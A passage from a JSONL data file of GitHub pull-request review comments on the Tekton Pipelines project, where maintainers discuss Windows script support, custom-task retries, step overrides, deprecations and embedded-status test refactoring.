configs](https://github.com/tektoncd/pipeline/blob/78d6d75473ea00118fa1e07cbf6b8e97439689ad/pkg/apis/config/store.go#L85-L89), regardless of whether they are actually used or not.", "comment_id": 708528285, "created_at": "2021-09-14T18:30:04Z", "line": 55, "path": "config/200-role.yaml", "pr_number": 4127, "repo": "pipeline"} +{"author": "pritidesai", "body": "missing license header \ud83d\ude1c ", "comment_id": 708535498, "created_at": "2021-09-14T18:40:37Z", "line": 16, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "pritidesai", "body": "and the test file below \ud83d\ude38 ", "comment_id": 708536202, "created_at": "2021-09-14T18:41:35Z", "line": 16, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "wlynch", "body": "Done.\r\n", "comment_id": 709361722, "created_at": "2021-09-15T16:38:50Z", "line": 16, "path": "pkg/apis/pipeline/v1beta1/param_context.go", "pr_number": 4127, "repo": "pipeline"} +{"author": "pritidesai", "body": "thanks a bunch @wlynch for adding this note \ud83d\ude4f ", "comment_id": 709433207, "created_at": "2021-09-15T17:55:01Z", "line": 316, "path": "docs/pipelineruns.md", "pr_number": 4127, "repo": "pipeline"} +{"author": "imjasonh", "body": "Could this just be `return true`?\r\n\r\nSame below with the `requiresWindows = true; break` which just does `return requiresWIndows`.", "comment_id": 679891383, "created_at": "2021-07-30T12:36:47Z", "line": null, "path": "pkg/pod/script.go", "pr_number": 4128, "repo": "pipeline"} +{"author": "imjasonh", "body": "Can we also add unit test coverage for this new behavior in this file?", "comment_id": 679893245, "created_at": "2021-07-30T12:39:44Z", "line": 371, "path": "pkg/pod/script_test.go", "pr_number": 4128, "repo": "pipeline"} +{"author": "imjasonh", "body": "Should windows support go into the alpha feature gate, alongside debug support? \ud83e\udd14 ", "comment_id": 679893666, "created_at": "2021-07-30T12:40:23Z", "line": 139, "path": "pkg/pod/pod.go", "pr_number": 4128, "repo": "pipeline"} +{"author": "DrWadsy", "body": "Yes, this should just be return true. The variable is an artifact from before I refactored this into a helper method, I'll change that :)", "comment_id": 680578536, "created_at": "2021-08-01T23:00:51Z", "line": null, "path": "pkg/pod/script.go", "pr_number": 4128, "repo": "pipeline"} +{"author": "DrWadsy", "body": "Good point.\r\nI changed this call because I changed the signature of the convertScripts method, but we could pass nil and check for that before we do any windows checks?", "comment_id": 680579034, "created_at": "2021-08-01T23:04:50Z", "line": 139, "path": "pkg/pod/pod.go", "pr_number": 4128, "repo": "pipeline"} +{"author": null, "body": "Suggest making this a heading and adding it to the Table of Contents at the top. Maybe a sub-heading of \"Running scripts within Steps\" so:\r\n\r\n```yaml\r\n##### Windows Scripts\r\n```", "comment_id": 700327362, "created_at": "2021-09-01T15:29:47Z", "line": null, "path": "docs/tasks.md", "pr_number": 4128, "repo": "pipeline"} +{"author": null, "body": "I didn't totally understand this bit on first read, since linux also uses shebang lines to specify how to interpret script files. Is it referring to the use of arguments (`-File`)? Or just that we have to be completely explicit otherwise tekton will assume it's for linux?", "comment_id": 700329076, "created_at": "2021-09-01T15:31:47Z", "line": 276, "path": "docs/tasks.md", "pr_number": 4128, "repo": "pipeline"} +{"author": null, "body": "This is an artifact of a unit test in `pkg/entrypoint` and should be removed I think. If you rebase on `main` and re-run `go test ./...` it shouldn't appear again.", "comment_id": 700410861, "created_at": "2021-09-01T17:13:36Z", "line": null, "path": "pkg/entrypoint/termination", "pr_number": 4128, "repo": "pipeline"} +{"author": null, "body": "Passing nil or an empty string for the windows shell image when `alphaAPIEnabled` is `false` would work ok I think. An alternative would be to write an entirely windows-focused `convertScripts` implementation and only invoke it if `alphaAPIEnabled` is `true` and `requiresWindows` would be true. Might involve a bit more duplication or end up being more lines but it might reduce the number of windows-specific branches? Could also push a change like that back to a refactor pr in future as well though.", "comment_id": 700414722, "created_at": "2021-09-01T17:19:11Z", "line": 139, "path": "pkg/pod/pod.go", "pr_number": 4128, "repo": "pipeline"} +{"author": null, "body": "This comment goes with the `corev1.Container` struct declared on line 94 I think. Suggest moving it down or removing it.", "comment_id": 700416224, "created_at": "2021-09-01T17:21:23Z", "line": 75, "path": "pkg/pod/script.go", "pr_number": 4128, "repo": "pipeline"} +{"author": null, "body": "Given `requiresWindows` is never changed I don't think it's needed. Simply running the loop over steps and then sidecars should be equivalent I think?", "comment_id": 700420344, "created_at": "2021-09-01T17:27:23Z", "line": null, "path": "pkg/pod/script.go", "pr_number": 4128, "repo": "pipeline"} +{"author": "DrWadsy", "body": "We have to be explicit that this script will run under windows, and we also have to tell tekton _how_ this script is to be run (which is what a linux shebang does for us). Windows needs to know which executable (e.g. powershell.exe, or pwsh.exe) it needs to use in order to run the script, and also specify any args (e.g. both of those .exe's require the -File argument in order to interpret commands in a file).", "comment_id": 700621330, "created_at": "2021-09-01T22:40:52Z", "line": 276, "path": "docs/tasks.md", "pr_number": 4128, "repo": "pipeline"} +{"author": "DrWadsy", "body": "Good catch :) I'm pretty sure I've rebased on main recently, so I'll remove that file...", "comment_id": 700621841, "created_at": "2021-09-01T22:42:04Z", "line": null, "path": "pkg/entrypoint/termination", "pr_number": 4128, "repo": "pipeline"} +{"author": "dibyom", "body": "minor nit: these two ingnoreField variables are the same across both tests...maybe extract them to a var at the top of the file and reuse?", "comment_id": 684478542, "created_at": "2021-08-06T20:07:52Z", "line": null, "path": "test/windows_test.go", "pr_number": 4139, "repo": "pipeline"} +{"author": "imjasonh", "body": "You can skip creating the Task then the TaskRun by specifying the taskSpec. This should be slightly faster and theoretically more robust to transient errors.", "comment_id": 684628120, "created_at": "2021-08-07T12:37:00Z", "line": null, "path": "test/windows_test.go", "pr_number": 4139, "repo": "pipeline"} +{"author": "imjasonh", "body": "I think we tend to print these as -want,+got", "comment_id": 684628185, "created_at": "2021-08-07T12:37:50Z", "line": null, "path": "test/windows_test.go", "pr_number": 4139, "repo": "pipeline"} +{"author": "imjasonh", "body": "Same here", "comment_id": 684628238, "created_at": "2021-08-07T12:38:18Z", "line": null, "path": "test/windows_test.go", "pr_number": 4139, "repo": "pipeline"} +{"author": "vdemeester", "body": "Did I wrote that FIXME ? I think I meant \"with deprecating v1alpha1\", maybe ? \ud83e\udd14 \ud83d\udc74\ud83c\udffc ", "comment_id": 703623430, "created_at": "2021-09-07T15:38:02Z", "line": 48, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4215, "repo": "pipeline"} +{"author": "mattmoor", "body": "Yeah, I just moved it \ud83d\ude01 ", "comment_id": 703627553, "created_at": "2021-09-07T15:43:07Z", "line": 48, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4215, "repo": "pipeline"} +{"author": "vdemeester", "body": "yeah.. I saw that \ud83d\ude1d I am confused by my own comment \ud83d\ude39 damn\u2026", "comment_id": 703636510, "created_at": "2021-09-07T15:54:28Z", "line": 48, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4215, "repo": "pipeline"} +{"author": "pritidesai", "body": "Please add an additional step to include the bracket notation \ud83d\ude4f ", "comment_id": 719763986, "created_at": "2021-09-30T21:02:26Z", "line": 1172, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4268, "repo": "pipeline"} +{"author": "skaegi", "body": "done!", "comment_id": 720449543, "created_at": "2021-10-01T18:11:22Z", "line": 1172, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4268, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\nSupporting retries in custom task's controller is optional but recommended.\r\n```", "comment_id": 733734102, "created_at": "2021-10-21T14:22:13Z", "line": 219, "path": "docs/runs.md", "pr_number": 4327, "repo": "pipeline"} +{"author": null, "body": "Does this mean `status.retriesStatus` could end up with more entries than `spec.retries` prescribes? I.e. Tekton Pipelines doesn't care whether more retries have been attempted than were declared?", "comment_id": 737725933, "created_at": "2021-10-27T18:09:34Z", "line": 223, "path": "docs/runs.md", "pr_number": 4327, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "Yes, Indeed. Thanks for noting, let me make it clear.", "comment_id": 738094525, "created_at": "2021-10-28T07:29:25Z", "line": 223, "path": "docs/runs.md", "pr_number": 4327, "repo": "pipeline"} +{"author": null, "body": "I was wondering, what's the reason that Tekton Pipelines shouldn't process the `Run` as failed and mark it so when `status.retriesStatus` reaches `spec.retries`? It felt like too strong a coupling as well?", "comment_id": 738356500, "created_at": "2021-10-28T12:50:39Z", "line": 223, "path": "docs/runs.md", "pr_number": 4327, "repo": "pipeline"} +{"author": "ScrapCodes", "body": "My understanding is, it might interfere with the freedom of custom tasks to optionally support retries. Or for those custom tasks who do not want to support will have to copy `status.retriesStatus`. Existing custom tasks will be broken unless upgraded.\r\n\r\n", "comment_id": 738542980, "created_at": "2021-10-28T16:05:52Z", "line": 223, "path": "docs/runs.md", "pr_number": 4327, "repo": "pipeline"} +{"author": "bobcatfish", "body": "nice warning syntax! :D", "comment_id": 749768523, "created_at": "2021-11-15T23:52:32Z", "line": 169, "path": "docs/auth.md", "pr_number": 4376, "repo": "pipeline"} +{"author": "bobcatfish", "body": "since these are alpha i think technically we could remove them 1 month after we announce - so Dec 2021 or Jan 2022\r\n\r\n(we definitely won't however)", "comment_id": 749768819, "created_at": "2021-11-15T23:53:20Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4376, "repo": "pipeline"} +{"author": "jerop", "body": "good catch! meant to say 2021 (already in 2022 with all the planning we've been doing for next year \ud83d\ude03)", "comment_id": 749871479, "created_at": "2021-11-16T03:25:36Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4376, "repo": "pipeline"} +{"author": "bobcatfish", "body": "THATS BEEN HAPPENING TO ME TOO!!!", "comment_id": 750438465, "created_at": "2021-11-16T16:15:06Z", "line": null, "path": "docs/deprecations.md", "pr_number": 4376, "repo": "pipeline"} +{"author": null, "body": "the `range` keyword will handle `nil` values without panicking, no need to wrap in an `if` I don't think.", "comment_id": 806978235, "created_at": "2022-02-15T15:40:38Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 4575, "repo": "pipeline"} +{"author": "lbernick", "body": "good catch thanks!", "comment_id": 806985991, "created_at": "2022-02-15T15:47:29Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_validation.go", "pr_number": 4575, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: maybe worth mentioning that it is not possible to override resources for steps that don't have a name", "comment_id": 809053983, "created_at": "2022-02-17T13:35:29Z", "line": 452, "path": "docs/taskruns.md", "pr_number": 4575, "repo": "pipeline"} +{"author": "afrittoli", "body": "NIT: I assume that if a `PipelineRun` that specifies any of these was fetched via the `v1alpha1` API, it would lose them, which I think it probably fine, but I wonder if we should document somewhere clearly what are the fields in `v1beta` which are not in `v1alpha` and that would be lost when fetching/updating via `v1alpha1`. /cc @sbwsg @vdemeester \r\n\r\nNot something we need to fix as part of this PR, it just came to mind seeing the new fields \ud83d\ude4f ", "comment_id": 809059070, "created_at": "2022-02-17T13:40:50Z", "line": 518, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4575, "repo": "pipeline"} +{"author": "afrittoli", "body": "Nice :)", "comment_id": 809064259, "created_at": "2022-02-17T13:46:27Z", "line": 120, "path": "pkg/apis/pipeline/v1beta1/taskrun_validation.go", "pr_number": 4575, "repo": "pipeline"} +{"author": "jerop", "body": "- can we have all the validation errors returned instead of one at a time? we could get the list of all missing steps and sidecars, and return all of them? this will help users fix all of them at once instead of one by one\r\n\r\n- can we split them up into two functions - one of steps and another for sidecars - can keep this overall function that calls both of them?\r\n", "comment_id": 819420142, "created_at": "2022-03-04T09:49:00Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 4598, "repo": "pipeline"} +{"author": "jerop", "body": "could we please add documentation for the scenario covered in this test case - when both step template and step overrides are specified?", "comment_id": 819428579, "created_at": "2022-03-04T09:59:47Z", "line": 930, "path": "pkg/pod/pod_test.go", "pr_number": 4598, "repo": "pipeline"} +{"author": "wlynch", "body": "Instead of exporting this func, can we move the test into the same package?", "comment_id": 821855285, "created_at": "2022-03-08T16:41:29Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4598, "repo": "pipeline"} +{"author": "wlynch", "body": "There's a TODO above to move the MergeStepsWithStepTemplate to this package (presumably to unexport it) - should we just do this from the get-go with these funcs? \ud83e\udd14 ", "comment_id": 821865869, "created_at": "2022-03-08T16:51:33Z", "line": 148, "path": "pkg/pod/pod.go", "pr_number": 4598, "repo": "pipeline"} +{"author": "lbernick", "body": "Discussed offline and reopened #1605 with comments.", "comment_id": 822023036, "created_at": "2022-03-08T20:00:42Z", "line": 148, "path": "pkg/pod/pod.go", "pr_number": 4598, "repo": "pipeline"} +{"author": "lbernick", "body": "done. I left `ValidateResolvedTaskResources` exported as it's used in the pipelinerun reconciler to validate the param/resource bindings passed from the pipeline -> pipelinerun -> taskrun.", "comment_id": 822023582, "created_at": "2022-03-08T20:01:25Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources_test.go", "pr_number": 4598, "repo": "pipeline"} +{"author": "vdemeester", "body": "Probably a bit of an optimization but can we pass the marshall object in `mergeObject` instead of the template string ? Before this merge we would marshall the template once and the use it in the loop. With this change, we will marshall the template for each steps, even though it never changes.", "comment_id": 814584002, "created_at": "2022-02-25T08:54:13Z", "line": 36, "path": "pkg/apis/pipeline/v1beta1/merge.go", "pr_number": 4617, "repo": "pipeline"} +{"author": "lbernick", "body": "Done! Note that the template doesn't change for StepTemplates, but it does change for StepOverrides, so I've provided two separate functions", "comment_id": 814849057, "created_at": "2022-02-25T15:11:56Z", "line": 36, "path": "pkg/apis/pipeline/v1beta1/merge.go", "pr_number": 4617, "repo": "pipeline"} +{"author": "dibyom", "body": "nit: the `wantErr` field does not seem to be used, so remove it. (For error cases, a lot of times its a bit more readable to have a separate Error tests function e.g. TestMergeStepOverridesError)", "comment_id": 818763775, "created_at": "2022-03-03T15:22:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/merge_test.go", "pr_number": 4617, "repo": "pipeline"} +{"author": "lbernick", "body": "nice catch thanks! done", "comment_id": 818768981, "created_at": "2022-03-03T15:27:00Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/merge_test.go", "pr_number": 4617, "repo": "pipeline"} +{"author": null, "body": "Given that this is a private type I was surprised it ended up in the openapi gen, was that intentional? If not I wonder if annotating the struct with `// +k8s:openapi-gen=false` would prevent this?", "comment_id": 818809560, "created_at": "2022-03-03T16:06:28Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 4617, "repo": "pipeline"} +{"author": "lbernick", "body": "you're right thanks!", "comment_id": 818823188, "created_at": "2022-03-03T16:20:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/swagger.json", "pr_number": 4617, "repo": "pipeline"} +{"author": "jerop", "body": "this comment needs an update", "comment_id": 816141972, "created_at": "2022-02-28T18:23:10Z", "line": null, "path": "pkg/apis/config/metrics.go", "pr_number": 4630, "repo": "pipeline"} +{"author": "jerop", "body": "this comment also needs an update", "comment_id": 816142107, "created_at": "2022-02-28T18:23:21Z", "line": null, "path": "pkg/apis/config/metrics.go", "pr_number": 4630, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: please drop the TBD from here - lines 41 and 42", "comment_id": 816159011, "created_at": "2022-02-28T18:46:06Z", "line": null, "path": "pkg/apis/config/metrics.go", "pr_number": 4630, "repo": "pipeline"} +{"author": "pritidesai", "body": "NIT: please drop the TBD from here - lines 53 and 54\r\n\r\n", "comment_id": 816159258, "created_at": "2022-02-28T18:46:29Z", "line": null, "path": "pkg/apis/config/metrics.go", "pr_number": 4630, "repo": "pipeline"} +{"author": "khrm", "body": "Done. Thanks", "comment_id": 816491884, "created_at": "2022-03-01T06:51:58Z", "line": null, "path": "pkg/apis/config/metrics.go", "pr_number": 4630, "repo": "pipeline"} +{"author": "khrm", "body": "Resolved. :)", "comment_id": 816492189, "created_at": "2022-03-01T06:52:39Z", "line": null, "path": "pkg/apis/config/metrics.go", "pr_number": 4630, "repo": "pipeline"} +{"author": "lbernick", "body": "typo: mroe -> more\r\n\r\nAlso I would just add a quick note that this isn't implemented yet, which you can remove in the follow-up PR.", "comment_id": 834318474, "created_at": "2022-03-24T13:40:05Z", "line": null, "path": "docs/install.md", "pr_number": 4705, "repo": "pipeline"} +{"author": "lbernick", "body": "I think this should be `embedded-status`", "comment_id": 834322677, "created_at": "2022-03-24T13:44:11Z", "line": null, "path": "pkg/apis/config/testdata/feature-flags-invalid-embedded-status.yaml", "pr_number": 4705, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: conditions may be removed in v1beta1 as well according to our compatibility policy so I'd just remove the \"v1\" bit", "comment_id": 834324023, "created_at": "2022-03-24T13:45:33Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4705, "repo": "pipeline"} +{"author": "lbernick", "body": "optional comment: I wonder if it's possible to add an annotation that will allow these fields to display as deprecated in code editors? I did a quick search and see `// +k8s:prerelease-lifecycle-gen:deprecated=1.20` for some stuff in our k8s dependencies so it's probably possible", "comment_id": 834328806, "created_at": "2022-03-24T13:50:02Z", "line": 430, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4705, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm a bit confused about what this test is for; this almost looks like a test for pipelineresources? why is it called ignore_test? I'm not sure the changes you're introducing need a new e2e test.", "comment_id": 834334041, "created_at": "2022-03-24T13:54:47Z", "line": null, "path": "test/ignore_test.go.ignore", "pr_number": 4705, "repo": "pipeline"} +{"author": "abayer", "body": "I'm ashamed of how many YAML files I messed up like this. =)", "comment_id": 834353686, "created_at": "2022-03-24T14:13:03Z", "line": null, "path": "pkg/apis/config/testdata/feature-flags-invalid-embedded-status.yaml", "pr_number": 4705, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 834354535, "created_at": "2022-03-24T14:13:49Z", "line": null, "path": "docs/install.md", "pr_number": 4705, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 834354751, "created_at": "2022-03-24T14:14:00Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4705, "repo": "pipeline"} +{"author": "abayer", "body": "That'd be pretty dang nifty - mind opening an issue for that separate of this? It seems like something worth doing comprehensively.", "comment_id": 834355894, "created_at": "2022-03-24T14:15:01Z", "line": 430, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4705, "repo": "pipeline"} +{"author": "abayer", "body": "Hahaha, this is detritus from who knows when that was still sitting in my local clone and somehow inadvertently got added. Nuking it now!", "comment_id": 834356323, "created_at": "2022-03-24T14:15:24Z", "line": null, "path": "test/ignore_test.go.ignore", "pr_number": 4705, "repo": "pipeline"} +{"author": "lbernick", "body": "I see a lot of tests with these same test cases. They could probably be combined into one, e.g. \r\n```\r\ntestSuites := []func(*testing.T){testReconcileWithEmbeddedStatus, testReconcileWithCustomTask...}\r\nfor _, testCase := range testCases {\r\n for _, testClass := range testSuites {\r\n t.Run(tc.Name, testClass(t, tc.embeddedStatus))\r\n }\r\n}", "comment_id": 842684036, "created_at": "2022-04-05T11:38:41Z", "line": 243, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "can this follow the same pattern as Test_Reconcile above?", "comment_id": 842685732, "created_at": "2022-04-05T11:40:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "rather than creating these functions \"shouldhavefullembeddedstatus\" etc I think it might be cleaner to not have these branches at all, and just add them when the embedded status functionality is enabled.", "comment_id": 842688795, "created_at": "2022-04-05T11:44:52Z", "line": 8707, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "I\u2019m not sure what you mean? The point of this PR is to cut down on the size of the implementation PR, so if we don\u2019t add the new test behavior for the embedded status functionality here, we have to do it in the implementation PR instead.", "comment_id": 842728349, "created_at": "2022-04-05T12:31:56Z", "line": 8707, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Good question. I\u2019d lean against this for clarity and ease of running individual test cases in an IDE.", "comment_id": 842729618, "created_at": "2022-04-05T12:33:16Z", "line": 243, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Do you mean the separate function thingie? I didn\u2019t bother splitting this one because it\u2019s entirely new, so the diff would have been just as large either way. I guess there is value in consistency, though!", "comment_id": 842735734, "created_at": "2022-04-05T12:39:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "yeah I think absent a strong reason to prefer either approach, let's keep things consistent", "comment_id": 842771960, "created_at": "2022-04-05T13:15:37Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "at the very least maybe the test cases struct can be defined only once?", "comment_id": 842772992, "created_at": "2022-04-05T13:16:37Z", "line": 243, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "just one more comment-- t.Helper() would be useful here", "comment_id": 842773956, "created_at": "2022-04-05T13:17:26Z", "line": 8705, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "I considered that, but at least in Goland/IntelliJ, if you don't have the test case structs defined in the test function, you can't launch them individually.", "comment_id": 843081203, "created_at": "2022-04-05T17:18:16Z", "line": 243, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "\ud83d\udc4d ", "comment_id": 843083067, "created_at": "2022-04-05T17:20:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Good catch!", "comment_id": 843083706, "created_at": "2022-04-05T17:21:17Z", "line": 8705, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "I should note that this as a separate function/struct makes more sense if you see the [tests added in my WIP branch for the implementation](https://github.com/abayer/tektoncd-pipeline/blob/embedded-statuses-impl-mk2/pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go#L1159) - there, we want to be able to test the function that calls either `updatePipelineRunStatusFromTaskRuns` and `updatePipelineRunStatusFromRuns` _or_ the added-in-the-impl `updatePipelineRunStatusFromChildRefs` (or all of 'em, for `embedded-status=both`). It didn't make sense to me to copy-paste the structs I end up using in both the existing test and the new one when I could just generate them in a function both the tests can call. I went with a struct as the return from that function rather than a map just because I thought it'd be more clear, but I'm not married to that choice. =)", "comment_id": 843104677, "created_at": "2022-04-05T17:46:07Z", "line": 44, "path": "pkg/reconciler/pipelinerun/pipelinerun_updatestatus_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "ok-- whatever you think is best here, although my intention isn't specifically to reduce number of lines of code but number of \"things\" that a given PR is doing", "comment_id": 843129925, "created_at": "2022-04-05T18:17:33Z", "line": 8707, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "it looks like this function may accidentally have been duplicated with the one above?", "comment_id": 843132237, "created_at": "2022-04-05T18:20:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "This test case could likely also use the pattern you're establishing (parameterizing the embedded status), because it doesn't really check any parts of the child statuses", "comment_id": 843133956, "created_at": "2022-04-05T18:22:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Ah, yeah, I think I added this one while initially prototyping, before the table-based changes. I'm gonna remove this.", "comment_id": 843143513, "created_at": "2022-04-05T18:34:52Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Yeah, good catch.", "comment_id": 843143762, "created_at": "2022-04-05T18:35:13Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Check that - I've got `TestReconcile_CustomTaskWithEmbeddedStatus` and `TestReconcile_CustomTask` because `TestReconcile_CustomTask` is already a table-based test and I really didn't want to nest it even further. Lemme think on what's the best way to rearrange these two tests to get the right coverage but not be so duplicative.", "comment_id": 843145177, "created_at": "2022-04-05T18:37:15Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "This and `simpleCustomTaskWantRunYAML` are here so that we can use the same input `PipelineRun` and expected `Run` for test cases with different `embedded-status` values without duplicating everything. ", "comment_id": 843164245, "created_at": "2022-04-05T19:00:48Z", "line": 734, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Ok, how does https://github.com/tektoncd/pipeline/pull/4734/files#diff-a64a19b939f791920d235cbf5bf2e4905d4814af06f21401b27af11351afbd0bR730 look? I've got it in a separate commit right now so that I can just nuke it easily if it doesn't feel right. =) I decided to skip testing `both` here because...well, it felt a little redundant.", "comment_id": 843165289, "created_at": "2022-04-05T19:02:03Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "I can't tell where that links to, but I think the pattern you have going of `func TestReconcile(t *testing.T)` + `func runTestReconcileWithEmbeddedStatus(t *testing.T, embeddedStatus string)` works well, and it would also be nice to use it here for consistency. can you explain a bit more about the concern with doing it that way?", "comment_id": 843170908, "created_at": "2022-04-05T19:09:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Ah, yeah, you have to expand the diff to see it.\r\n\r\nSo `TestReconcile_CustomTask` is already a table-based test - I didn't want to do the matrix-y thing of running each of its testcases once for each `embedded-status` value, so instead I added two new test cases to `TestReconcile_CustomTask`, using the same input `PipelineRun`/expected `Run` as the existing \"custom task with taskref\" test case, but with `embedded-status=full` and `embedded-status=minimal`. So it doesn't fit exactly the same pattern as the `runTest...` ones, but I think it's a better fit for this particular test.", "comment_id": 843176132, "created_at": "2022-04-05T19:15:49Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Honestly, in practice, we could probably skip having test cases in `TestReconcile_CustomTask` for different `embedded-status` values, since we test reconciliation of a `Run` with the different `embedded-status` values in `runTestUpdatePipelineRunStatusFromInformer` now anyway.", "comment_id": 843177539, "created_at": "2022-04-05T19:17:46Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "abayer", "body": "Fair enough. =) I guess I just feel like stubbing `shouldHaveFullEmbeddedStatus` and `shouldHaveMinimalEmbeddedStatus` here with the `TODO`s, and full implementations of `verify...` is clearer on the intent, particularly since there (hopefully!) will not be a long gap between this PR landing and the implementation PR landing.", "comment_id": 843187601, "created_at": "2022-04-05T19:29:41Z", "line": 8707, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4734, "repo": "pipeline"} +{"author": "lbernick", "body": "this comment appears stale", "comment_id": 844249740, "created_at": "2022-04-06T18:17:20Z", "line": null, "path": "test/v1alpha1/retry_test.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I might prefer a helper function which returns the runs and taskruns to cancel based on the embedded status value.", "comment_id": 844354689, "created_at": "2022-04-06T20:05:37Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: could this function be `updatePipelineRunStatusFromChildObjects`? IMO including things like \"slices\" in variable names can be redundant", "comment_id": 844362878, "created_at": "2022-04-06T20:11:15Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think this else block should be necessary. If something depends on these values being non-nil let's change that code instead of initializing these.", "comment_id": 844364694, "created_at": "2022-04-06T20:12:30Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "this function should be able to stay the same, no? (except for the small change removing the nil check for trs which I asked for :) )", "comment_id": 844369724, "created_at": "2022-04-06T20:14:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think this variable (`taskNameByPipelineTask`) is necessary", "comment_id": 844370389, "created_at": "2022-04-06T20:15:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4739, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think this function needs to return anything", "comment_id": 844376125, "created_at": "2022-04-06T20:18:56Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 